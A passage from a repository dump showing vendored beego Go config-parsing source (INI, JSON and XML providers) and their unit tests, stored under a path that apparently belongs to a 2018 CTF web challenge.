make(map[string]string)\n\t}\n\tc.data[section][k] = value\n\treturn nil\n}\n\n// DIY returns the raw value by a given key.\nfunc (c *IniConfigContainer) DIY(key string) (v interface{}, err error) {\n\tif v, ok := c.data[strings.ToLower(key)]; ok {\n\t\treturn v, nil\n\t}\n\treturn v, errors.New(\"key not find\")\n}\n\n// section.key or key\nfunc (c *IniConfigContainer) getdata(key string) string {\n\tif len(key) == 0 {\n\t\treturn \"\"\n\t}\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\tvar (\n\t\tsection, k string\n\t\tsectionKey = strings.Split(strings.ToLower(key), \"::\")\n\t)\n\tif len(sectionKey) >= 2 {\n\t\tsection = sectionKey[0]\n\t\tk = sectionKey[1]\n\t} else {\n\t\tsection = defaultSection\n\t\tk = sectionKey[0]\n\t}\n\tif v, ok := c.data[section]; ok {\n\t\tif vv, ok := v[k]; ok {\n\t\t\treturn vv\n\t\t}\n\t}\n\treturn \"\"\n}\n\nfunc init() {\n\tRegister(\"ini\", &IniConfig{})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/ini_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestIni(t *testing.T) {\n\n\tvar (\n\t\tinicontext = `\n;comment one\n#comment two\nappname = beeapi\nhttpport = 8080\nmysqlport = 3600\nPI = 3.1415976\nrunmode = \"dev\"\nautorender = false\ncopyrequestbody = true\nsession= on\ncookieon= off\nnewreg = OFF\nneedlogin = ON\nenableSession = Y\nenableCookie = N\nflag = 1\npath1 = ${GOPATH}\npath2 = ${GOPATH||/home/go}\n[demo]\nkey1=\"asta\"\nkey2 = \"xie\"\nCaseInsensitive = true\npeers = one;two;three\npassword = ${GOPATH}\n`\n\n\t\tkeyValue = map[string]interface{}{\n\t\t\t\"appname\":               \"beeapi\",\n\t\t\t\"httpport\":              8080,\n\t\t\t\"mysqlport\":             int64(3600),\n\t\t\t\"pi\":                    3.1415976,\n\t\t\t\"runmode\":               \"dev\",\n\t\t\t\"autorender\":            false,\n\t\t\t\"copyrequestbody\":       true,\n\t\t\t\"session\":               true,\n\t\t\t\"cookieon\":              false,\n\t\t\t\"newreg\":                false,\n\t\t\t\"needlogin\":             true,\n\t\t\t\"enableSession\":         true,\n\t\t\t\"enableCookie\":          false,\n\t\t\t\"flag\":                  true,\n\t\t\t\"path1\":                 os.Getenv(\"GOPATH\"),\n\t\t\t\"path2\":                 os.Getenv(\"GOPATH\"),\n\t\t\t\"demo::key1\":            \"asta\",\n\t\t\t\"demo::key2\":            \"xie\",\n\t\t\t\"demo::CaseInsensitive\": true,\n\t\t\t\"demo::peers\":           []string{\"one\", \"two\", \"three\"},\n\t\t\t\"demo::password\":        os.Getenv(\"GOPATH\"),\n\t\t\t\"null\":                  \"\",\n\t\t\t\"demo2::key1\":           \"\",\n\t\t\t\"error\":                 \"\",\n\t\t\t\"emptystrings\":          []string{},\n\t\t}\n\t)\n\n\tf, err := os.Create(\"testini.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = f.WriteString(inicontext)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatal(err)\n\t}\n\tf.Close()\n\tdefer os.Remove(\"testini.conf\")\n\tiniconf, err := NewConfig(\"ini\", \"testini.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tfor k, v := range keyValue {\n\t\tvar err error\n\t\tvar value interface{}\n\t\tswitch v.(type) {\n\t\tcase int:\n\t\t\tvalue, err = iniconf.Int(k)\n\t\tcase int64:\n\t\t\tvalue, err = iniconf.Int64(k)\n\t\tcase float64:\n\t\t\tvalue, err = iniconf.Float(k)\n\t\tcase bool:\n\t\t\tvalue, err = iniconf.Bool(k)\n\t\tcase []string:\n\t\t\tvalue = iniconf.Strings(k)\n\t\tcase string:\n\t\t\tvalue = iniconf.String(k)\n\t\tdefault:\n\t\t\tvalue, err = iniconf.DIY(k)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"get key %q value fail,err %s\", k, err)\n\t\t} else if fmt.Sprintf(\"%v\", v) != fmt.Sprintf(\"%v\", value) {\n\t\t\tt.Fatalf(\"get key %q value, want %v got %v .\", k, v, value)\n\t\t}\n\n\t}\n\tif err = iniconf.Set(\"name\", \"astaxie\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif iniconf.String(\"name\") != \"astaxie\" {\n\t\tt.Fatal(\"get name error\")\n\t}\n\n}\n\nfunc TestIniSave(t *testing.T) {\n\n\tconst (\n\t\tinicontext = `\napp = app\n;comment one\n#comment two\n# comment three\nappname = beeapi\nhttpport = 8080\n# DB Info\n# enable db\n[dbinfo]\n# db type name\n# suport mysql,sqlserver\nname = mysql\n`\n\n\t\tsaveResult = `\napp=app\n#comment one\n#comment two\n# comment three\nappname=beeapi\nhttpport=8080\n\n# DB Info\n# enable db\n[dbinfo]\n# db type name\n# suport mysql,sqlserver\nname=mysql\n`\n\t)\n\tcfg, err := NewConfigData(\"ini\", []byte(inicontext))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tname := \"newIniConfig.ini\"\n\tif err := cfg.SaveConfigFile(name); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer os.Remove(name)\n\n\tif data, err := ioutil.ReadFile(name); err != nil {\n\t\tt.Fatal(err)\n\t} else {\n\t\tcfgData := string(data)\n\t\tdatas := strings.Split(saveResult, \"\\n\")\n\t\tfor _, line := range datas {\n\t\t\tif !strings.Contains(cfgData, line+\"\\n\") {\n\t\t\t\tt.Fatalf(\"different after save ini config file. need contains %q\", line)\n\t\t\t}\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/json.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n)\n\n// JSONConfig is a json config parser and implements Config interface.\ntype JSONConfig struct {\n}\n\n// Parse returns a ConfigContainer with parsed json config map.\nfunc (js *JSONConfig) Parse(filename string) (Configer, error) {\n\tfile, err := os.Open(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer file.Close()\n\tcontent, err := ioutil.ReadAll(file)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn js.ParseData(content)\n}\n\n// ParseData returns a ConfigContainer with json string\nfunc (js *JSONConfig) ParseData(data []byte) (Configer, error) {\n\tx := &JSONConfigContainer{\n\t\tdata: make(map[string]interface{}),\n\t}\n\terr := json.Unmarshal(data, &x.data)\n\tif err != nil {\n\t\tvar wrappingArray []interface{}\n\t\terr2 := json.Unmarshal(data, &wrappingArray)\n\t\tif err2 != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tx.data[\"rootArray\"] = wrappingArray\n\t}\n\n\tx.data = ExpandValueEnvForMap(x.data)\n\n\treturn x, nil\n}\n\n// JSONConfigContainer A Config represents the json configuration.\n// Only when get value, support key as section:name type.\ntype JSONConfigContainer struct {\n\tdata map[string]interface{}\n\tsync.RWMutex\n}\n\n// Bool returns the boolean value for a given key.\nfunc (c *JSONConfigContainer) Bool(key string) (bool, error) {\n\tval := c.getData(key)\n\tif val != nil {\n\t\treturn ParseBool(val)\n\t}\n\treturn false, fmt.Errorf(\"not exist key: %q\", key)\n}\n\n// DefaultBool return the bool value if has no error\n// otherwise return the defaultval\nfunc (c *JSONConfigContainer) DefaultBool(key string, defaultval bool) bool {\n\tif v, err := c.Bool(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// Int returns the integer value for a given key.\nfunc (c *JSONConfigContainer) Int(key string) (int, error) {\n\tval := c.getData(key)\n\tif val != nil {\n\t\tif v, ok := val.(float64); ok {\n\t\t\treturn int(v), nil\n\t\t}\n\t\treturn 0, errors.New(\"not int value\")\n\t}\n\treturn 0, errors.New(\"not exist key:\" + key)\n}\n\n// DefaultInt returns the integer value for a given key.\n// if err != nil return defaltval\nfunc (c *JSONConfigContainer) DefaultInt(key string, defaultval int) int {\n\tif v, err := c.Int(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// Int64 returns the int64 value for a given key.\nfunc (c *JSONConfigContainer) Int64(key string) (int64, error) {\n\tval := c.getData(key)\n\tif val != nil {\n\t\tif v, ok := val.(float64); ok {\n\t\t\treturn int64(v), nil\n\t\t}\n\t\treturn 0, errors.New(\"not int64 value\")\n\t}\n\treturn 0, errors.New(\"not exist key:\" + key)\n}\n\n// DefaultInt64 returns the int64 value for a given key.\n// if err != nil return defaltval\nfunc (c *JSONConfigContainer) DefaultInt64(key string, defaultval int64) int64 {\n\tif v, err := c.Int64(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// Float returns the float value for a given key.\nfunc (c *JSONConfigContainer) Float(key string) (float64, error) {\n\tval := c.getData(key)\n\tif val != nil {\n\t\tif v, ok := val.(float64); ok {\n\t\t\treturn v, nil\n\t\t}\n\t\treturn 0.0, errors.New(\"not float64 value\")\n\t}\n\treturn 0.0, errors.New(\"not exist key:\" + key)\n}\n\n// DefaultFloat returns the float64 value for a given key.\n// if err != nil return defaltval\nfunc (c *JSONConfigContainer) DefaultFloat(key string, defaultval float64) float64 {\n\tif v, err := c.Float(key); err == nil {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// String returns the string value for a given key.\nfunc (c *JSONConfigContainer) String(key string) string {\n\tval := c.getData(key)\n\tif val != nil {\n\t\tif v, ok := val.(string); ok {\n\t\t\treturn v\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// DefaultString returns the string value for a given key.\n// if err != nil return defaltval\nfunc (c *JSONConfigContainer) DefaultString(key string, defaultval string) string {\n\t// TODO FIXME should not use \"\" to replace non existence\n\tif v := c.String(key); v != \"\" {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// Strings returns the []string value for a given key.\nfunc (c *JSONConfigContainer) Strings(key string) []string {\n\tstringVal := c.String(key)\n\tif stringVal == \"\" {\n\t\treturn nil\n\t}\n\treturn strings.Split(c.String(key), \";\")\n}\n\n// DefaultStrings returns the []string value for a given key.\n// if err != nil return defaltval\nfunc (c *JSONConfigContainer) DefaultStrings(key string, defaultval []string) []string {\n\tif v := c.Strings(key); v != nil {\n\t\treturn v\n\t}\n\treturn defaultval\n}\n\n// GetSection returns map for the given section\nfunc (c *JSONConfigContainer) GetSection(section string) (map[string]string, error) {\n\tif v, ok := c.data[section]; ok {\n\t\treturn v.(map[string]string), nil\n\t}\n\treturn nil, errors.New(\"nonexist section \" + section)\n}\n\n// SaveConfigFile save the config into file\nfunc (c *JSONConfigContainer) SaveConfigFile(filename string) (err error) {\n\t// Write configuration file by filename.\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tb, err := json.MarshalIndent(c.data, \"\", \"  \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = f.Write(b)\n\treturn err\n}\n\n// Set writes a new value for key.\nfunc (c *JSONConfigContainer) Set(key, val string) error {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.data[key] = val\n\treturn nil\n}\n\n// DIY returns the raw value by a given key.\nfunc (c *JSONConfigContainer) DIY(key string) (v interface{}, err error) {\n\tval := c.getData(key)\n\tif val != nil {\n\t\treturn val, nil\n\t}\n\treturn nil, errors.New(\"not exist key\")\n}\n\n// section.key or key\nfunc (c *JSONConfigContainer) getData(key string) interface{} {\n\tif len(key) == 0 {\n\t\treturn nil\n\t}\n\n\tc.RLock()\n\tdefer c.RUnlock()\n\n\tsectionKeys := strings.Split(key, \"::\")\n\tif len(sectionKeys) >= 2 {\n\t\tcurValue, ok := c.data[sectionKeys[0]]\n\t\tif !ok {\n\t\t\treturn nil\n\t\t}\n\t\tfor _, key := range sectionKeys[1:] {\n\t\t\tif v, ok := curValue.(map[string]interface{}); ok {\n\t\t\t\tif curValue, ok = v[key]; !ok {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn curValue\n\t}\n\tif v, ok := c.data[key]; ok {\n\t\treturn v\n\t}\n\treturn nil\n}\n\nfunc init() {\n\tRegister(\"json\", &JSONConfig{})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/json_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage config\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n)\n\nfunc TestJsonStartsWithArray(t *testing.T) {\n\n\tconst jsoncontextwitharray = `[\n\t{\n\t\t\"url\": \"user\",\n\t\t\"serviceAPI\": \"http://www.test.com/user\"\n\t},\n\t{\n\t\t\"url\": \"employee\",\n\t\t\"serviceAPI\": \"http://www.test.com/employee\"\n\t}\n]`\n\tf, err := os.Create(\"testjsonWithArray.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = f.WriteString(jsoncontextwitharray)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatal(err)\n\t}\n\tf.Close()\n\tdefer os.Remove(\"testjsonWithArray.conf\")\n\tjsonconf, err := NewConfig(\"json\", \"testjsonWithArray.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\trootArray, err := jsonconf.DIY(\"rootArray\")\n\tif err != nil {\n\t\tt.Error(\"array does not exist as element\")\n\t}\n\trootArrayCasted := rootArray.([]interface{})\n\tif rootArrayCasted == nil {\n\t\tt.Error(\"array from root is nil\")\n\t} else {\n\t\telem := rootArrayCasted[0].(map[string]interface{})\n\t\tif elem[\"url\"] != \"user\" || elem[\"serviceAPI\"] != \"http://www.test.com/user\" {\n\t\t\tt.Error(\"array[0] values are not valid\")\n\t\t}\n\n\t\telem2 := rootArrayCasted[1].(map[string]interface{})\n\t\tif elem2[\"url\"] != \"employee\" || elem2[\"serviceAPI\"] != \"http://www.test.com/employee\" {\n\t\t\tt.Error(\"array[1] values are not valid\")\n\t\t}\n\t}\n}\n\nfunc TestJson(t *testing.T) {\n\n\tvar (\n\t\tjsoncontext = `{\n\"appname\": \"beeapi\",\n\"testnames\": \"foo;bar\",\n\"httpport\": 8080,\n\"mysqlport\": 3600,\n\"PI\": 3.1415976, \n\"runmode\": \"dev\",\n\"autorender\": false,\n\"copyrequestbody\": true,\n\"session\": \"on\",\n\"cookieon\": \"off\",\n\"newreg\": \"OFF\",\n\"needlogin\": \"ON\",\n\"enableSession\": \"Y\",\n\"enableCookie\": \"N\",\n\"flag\": 1,\n\"path1\": \"${GOPATH}\",\n\"path2\": \"${GOPATH||/home/go}\",\n\"database\": {\n        \"host\": \"host\",\n        \"port\": \"port\",\n        \"database\": \"database\",\n        \"username\": \"username\",\n        \"password\": \"${GOPATH}\",\n\t\t\"conns\":{\n\t\t\t\"maxconnection\":12,\n\t\t\t\"autoconnect\":true,\n\t\t\t\"connectioninfo\":\"info\",\n\t\t\t\"root\": \"${GOPATH}\"\n\t\t}\n    }\n}`\n\t\tkeyValue = map[string]interface{}{\n\t\t\t\"appname\":                         \"beeapi\",\n\t\t\t\"testnames\":                       []string{\"foo\", \"bar\"},\n\t\t\t\"httpport\":                        8080,\n\t\t\t\"mysqlport\":                       int64(3600),\n\t\t\t\"PI\":                              3.1415976,\n\t\t\t\"runmode\":                         \"dev\",\n\t\t\t\"autorender\":                      false,\n\t\t\t\"copyrequestbody\":                 true,\n\t\t\t\"session\":                         true,\n\t\t\t\"cookieon\":                        false,\n\t\t\t\"newreg\":                          false,\n\t\t\t\"needlogin\":                       true,\n\t\t\t\"enableSession\":                   true,\n\t\t\t\"enableCookie\":                    false,\n\t\t\t\"flag\":                            true,\n\t\t\t\"path1\":                           os.Getenv(\"GOPATH\"),\n\t\t\t\"path2\":                           os.Getenv(\"GOPATH\"),\n\t\t\t\"database::host\":                  \"host\",\n\t\t\t\"database::port\":                  \"port\",\n\t\t\t\"database::database\":              \"database\",\n\t\t\t\"database::password\":              os.Getenv(\"GOPATH\"),\n\t\t\t\"database::conns::maxconnection\":  12,\n\t\t\t\"database::conns::autoconnect\":    true,\n\t\t\t\"database::conns::connectioninfo\": \"info\",\n\t\t\t\"database::conns::root\":           os.Getenv(\"GOPATH\"),\n\t\t\t\"unknown\":                         \"\",\n\t\t}\n\t)\n\n\tf, err := os.Create(\"testjson.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = f.WriteString(jsoncontext)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatal(err)\n\t}\n\tf.Close()\n\tdefer os.Remove(\"testjson.conf\")\n\tjsonconf, err := NewConfig(\"json\", \"testjson.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tfor k, v := range keyValue {\n\t\tvar err error\n\t\tvar value interface{}\n\t\tswitch v.(type) {\n\t\tcase int:\n\t\t\tvalue, err = jsonconf.Int(k)\n\t\tcase int64:\n\t\t\tvalue, err = jsonconf.Int64(k)\n\t\tcase float64:\n\t\t\tvalue, err = jsonconf.Float(k)\n\t\tcase bool:\n\t\t\tvalue, err = jsonconf.Bool(k)\n\t\tcase []string:\n\t\t\tvalue = jsonconf.Strings(k)\n\t\tcase string:\n\t\t\tvalue = jsonconf.String(k)\n\t\tdefault:\n\t\t\tvalue, err = jsonconf.DIY(k)\n\t\t}\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"get key %q value fatal,%v err %s\", k, v, err)\n\t\t} else if fmt.Sprintf(\"%v\", v) != fmt.Sprintf(\"%v\", value) {\n\t\t\tt.Fatalf(\"get key %q value, want %v got %v .\", k, v, value)\n\t\t}\n\n\t}\n\tif err = jsonconf.Set(\"name\", \"astaxie\"); err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif jsonconf.String(\"name\") != \"astaxie\" {\n\t\tt.Fatal(\"get name error\")\n\t}\n\n\tif db, err := jsonconf.DIY(\"database\"); err != nil {\n\t\tt.Fatal(err)\n\t} else if m, ok := db.(map[string]interface{}); !ok {\n\t\tt.Log(db)\n\t\tt.Fatal(\"db not map[string]interface{}\")\n\t} else {\n\t\tif m[\"host\"].(string) != \"host\" {\n\t\t\tt.Fatal(\"get host err\")\n\t\t}\n\t}\n\n\tif _, err := jsonconf.Int(\"unknown\"); err == nil {\n\t\tt.Error(\"unknown keys should return an error when expecting an Int\")\n\t}\n\n\tif _, err := jsonconf.Int64(\"unknown\"); err == nil {\n\t\tt.Error(\"unknown keys should return an error when expecting an Int64\")\n\t}\n\n\tif _, err := jsonconf.Float(\"unknown\"); err == nil {\n\t\tt.Error(\"unknown keys should return an error when expecting a Float\")\n\t}\n\n\tif _, err := jsonconf.DIY(\"unknown\"); err == nil {\n\t\tt.Error(\"unknown keys should return an error when expecting an interface{}\")\n\t}\n\n\tif val := jsonconf.String(\"unknown\"); val != \"\" {\n\t\tt.Error(\"unknown keys should return an empty string when expecting a String\")\n\t}\n\n\tif _, err := jsonconf.Bool(\"unknown\"); err == nil {\n\t\tt.Error(\"unknown keys should return an error when expecting a Bool\")\n\t}\n\n\tif !jsonconf.DefaultBool(\"unknow\", true) {\n\t\tt.Error(\"unknown keys with default value wrong\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/xml/xml.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package xml for config provider.\n//\n// depend on github.com/beego/x2j.\n//\n// go install github.com/beego/x2j.\n//\n// Usage:\n//  import(\n//    _ \"github.com/astaxie/beego/config/xml\"\n//      \"github.com/astaxie/beego/config\"\n//  )\n//\n//  cnf, err := config.NewConfig(\"xml\", \"config.xml\")\n//\n//More docs http://beego.me/docs/module/config.md\npackage xml\n\nimport (\n\t\"encoding/xml\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strconv\"\n\t\"strings\"\n\t\"sync\"\n\n\t\"github.com/astaxie/beego/config\"\n\t\"github.com/beego/x2j\"\n)\n\n// Config is a xml config parser and implements Config interface.\n// xml configurations should be included in <config></config> tag.\n// only support key/value pair as <key>value</key> as each item.\ntype Config struct{}\n\n// Parse returns a ConfigContainer with parsed xml config map.\nfunc (xc *Config) Parse(filename string) (config.Configer, error) {\n\tcontext, err := ioutil.ReadFile(filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn xc.ParseData(context)\n}\n\n// ParseData xml data\nfunc (xc *Config) ParseData(data []byte) (config.Configer, error) {\n\tx := &ConfigContainer{data: make(map[string]interface{})}\n\n\td, err := x2j.DocToMap(string(data))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tx.data = config.ExpandValueEnvForMap(d[\"config\"].(map[string]interface{}))\n\n\treturn x, nil\n}\n\n// ConfigContainer A Config represents the xml configuration.\ntype ConfigContainer struct {\n\tdata map[string]interface{}\n\tsync.Mutex\n}\n\n// Bool returns the boolean value for a given key.\nfunc (c *ConfigContainer) Bool(key string) (bool, error) {\n\tif v := c.data[key]; v != nil {\n\t\treturn config.ParseBool(v)\n\t}\n\treturn false, fmt.Errorf(\"not exist key: %q\", key)\n}\n\n// DefaultBool return the bool value if has no error\n// otherwise return the defaultval\nfunc (c *ConfigContainer) DefaultBool(key string, defaultval bool) bool {\n\tv, err := c.Bool(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int returns the integer value for a given key.\nfunc (c *ConfigContainer) Int(key string) (int, error) {\n\treturn strconv.Atoi(c.data[key].(string))\n}\n\n// DefaultInt returns the integer value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultInt(key string, defaultval int) int {\n\tv, err := c.Int(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Int64 returns the int64 value for a given key.\nfunc (c *ConfigContainer) Int64(key string) (int64, error) {\n\treturn strconv.ParseInt(c.data[key].(string), 10, 64)\n}\n\n// DefaultInt64 returns the int64 value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultInt64(key string, defaultval int64) int64 {\n\tv, err := c.Int64(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n\n}\n\n// Float returns the float value for a given key.\nfunc (c *ConfigContainer) Float(key string) (float64, error) {\n\treturn strconv.ParseFloat(c.data[key].(string), 64)\n}\n\n// DefaultFloat returns the float64 value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultFloat(key string, defaultval float64) float64 {\n\tv, err := c.Float(key)\n\tif err != nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// String returns the string value for a given key.\nfunc (c *ConfigContainer) String(key string) string {\n\tif v, ok := c.data[key].(string); ok {\n\t\treturn v\n\t}\n\treturn \"\"\n}\n\n// DefaultString returns the string value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultString(key string, defaultval string) string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// Strings returns the []string value for a given key.\nfunc (c *ConfigContainer) Strings(key string) []string {\n\tv := c.String(key)\n\tif v == \"\" {\n\t\treturn nil\n\t}\n\treturn strings.Split(v, \";\")\n}\n\n// DefaultStrings returns the []string value for a given key.\n// if err != nil return defaltval\nfunc (c *ConfigContainer) DefaultStrings(key string, defaultval []string) []string {\n\tv := c.Strings(key)\n\tif v == nil {\n\t\treturn defaultval\n\t}\n\treturn v\n}\n\n// GetSection returns map for the given section\nfunc (c *ConfigContainer) GetSection(section string) (map[string]string, error) {\n\tif v, ok := c.data[section].(map[string]interface{}); ok {\n\t\tmapstr := make(map[string]string)\n\t\tfor k, val := range v {\n\t\t\tmapstr[k] = config.ToString(val)\n\t\t}\n\t\treturn mapstr, nil\n\t}\n\treturn nil, fmt.Errorf(\"section '%s' not found\", section)\n}\n\n// SaveConfigFile save the config into file\nfunc (c *ConfigContainer) SaveConfigFile(filename string) (err error) {\n\t// Write configuration file by filename.\n\tf, err := os.Create(filename)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tb, err := xml.MarshalIndent(c.data, \"  \", \"    \")\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = f.Write(b)\n\treturn err\n}\n\n// Set writes a new value for key.\nfunc (c *ConfigContainer) Set(key, val string) error {\n\tc.Lock()\n\tdefer c.Unlock()\n\tc.data[key] = val\n\treturn nil\n}\n\n// DIY returns the raw value by a given key.\nfunc (c *ConfigContainer) DIY(key string) (v interface{}, err error) {\n\tif v, ok := c.data[key]; ok {\n\t\treturn v, nil\n\t}\n\treturn nil, errors.New(\"not exist key\")\n}\n\nfunc init() {\n\tconfig.Register(\"xml\", &Config{})\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/config/xml/xml_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage xml\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"testing\"\n\n\t\"github.com/astaxie/beego/config\"\n)\n\nfunc TestXML(t *testing.T) {\n\n\tvar (\n\t\t//xml parse should incluce in <config></config> tags\n\t\txmlcontext = `<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<config>\n<appname>beeapi</appname>\n<httpport>8080</httpport>\n<mysqlport>3600</mysqlport>\n<PI>3.1415976</PI>\n<runmode>dev</runmode>\n<autorender>false</autorender>\n<copyrequestbody>true</copyrequestbody>\n<path1>${GOPATH}</path1>\n<path2>${GOPATH||/home/go}</path2>\n<mysection>\n<id>1</id>\n<name>MySection</name>\n</mysection>\n</config>\n`\n\t\tkeyValue = map[string]interface{}{\n\t\t\t\"appname\":         \"beeapi\",\n\t\t\t\"httpport\":        8080,\n\t\t\t\"mysqlport\":       int64(3600),\n\t\t\t\"PI\":              3.1415976,\n\t\t\t\"runmode\":         \"dev\",\n\t\t\t\"autorender\":      false,\n\t\t\t\"copyrequestbody\": true,\n\t\t\t\"path1\":           os.Getenv(\"GOPATH\"),\n\t\t\t\"path2\":           os.Getenv(\"GOPATH\"),\n\t\t\t\"error\":           \"\",\n\t\t\t\"emptystrings\":    []string{},\n\t\t}\n\t)\n\n\tf, err := os.Create(\"testxml.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\t_, err = f.WriteString(xmlcontext)\n\tif err != nil {\n\t\tf.Close()\n\t\tt.Fatal(err)\n\t}\n\tf.Close()\n\tdefer os.Remove(\"testxml.conf\")\n\n\txmlconf, err := config.NewConfig(\"xml\", \"testxml.conf\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tvar xmlsection map[string]string\n\txmlsection, err = xmlconf.GetSection(\"mysection\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(xmlsection) == 0 {\n\t\tt.Error(\"section should not be empty\")\n\t}\n\n\tfor k, v := range keyValue {\n\n\t\tvar (\n\t\t\tvalue interface{}\n\t\t\terr   error\n\t\t)\n\n\t\tswitch v.(type) {\n\t\tcase int:\n\t\t\tvalue, err = xmlconf.Int(k)\n\t\tcase int64:\n\t\t\tvalue, err = xmlconf.Int64(k)\n\t\tcase float64:\n\t\t\tvalue, err = xmlconf.Float(k)\n\t\tcase bool:\n\t\t\tvalue, err = xmlconf.Bool(k)\n\t\tcase 